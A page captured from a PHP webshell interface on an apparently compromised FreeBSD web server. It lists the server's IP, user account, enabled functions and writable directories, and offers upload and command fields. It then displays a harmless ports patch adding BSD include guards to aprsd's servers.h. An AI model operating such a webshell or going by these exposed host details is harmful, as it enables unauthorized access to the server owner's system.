403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/comms/aprsd/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/comms/aprsd/files/patch-src_servers.h
--- src/servers.h.orig	2003-10-01 16:58:27 UTC
+++ src/servers.h
@@ -28,6 +28,12 @@
 
 #include <string>
 #include <sstream>
+#if (defined(__unix__) || defined(unix)) && !defined(USG)
+#include <sys/param.h>
+#endif
+#ifdef BSD
+#include <netinet/in.h>
+#endif
 
 #include "aprsd.h"
 #include "mutex.h"
@@ -135,11 +141,17 @@ struct pidList{
 
 
 //Stuff for trusted UDP source IPs
+#ifdef BSD
 struct sTrusted {
+    struct in_addr sin_addr;   //ip address
+    struct in_addr sin_mask;   //subnet mask
+};
+#else
+struct sTrusted {
     in_addr sin_addr;   //ip address
     in_addr sin_mask;   //subnet mask
 };
-
+#endif
 
 struct sLogon{ 
     char *user;

Youez - 2016 - github.com/yon3zu
LinuXploit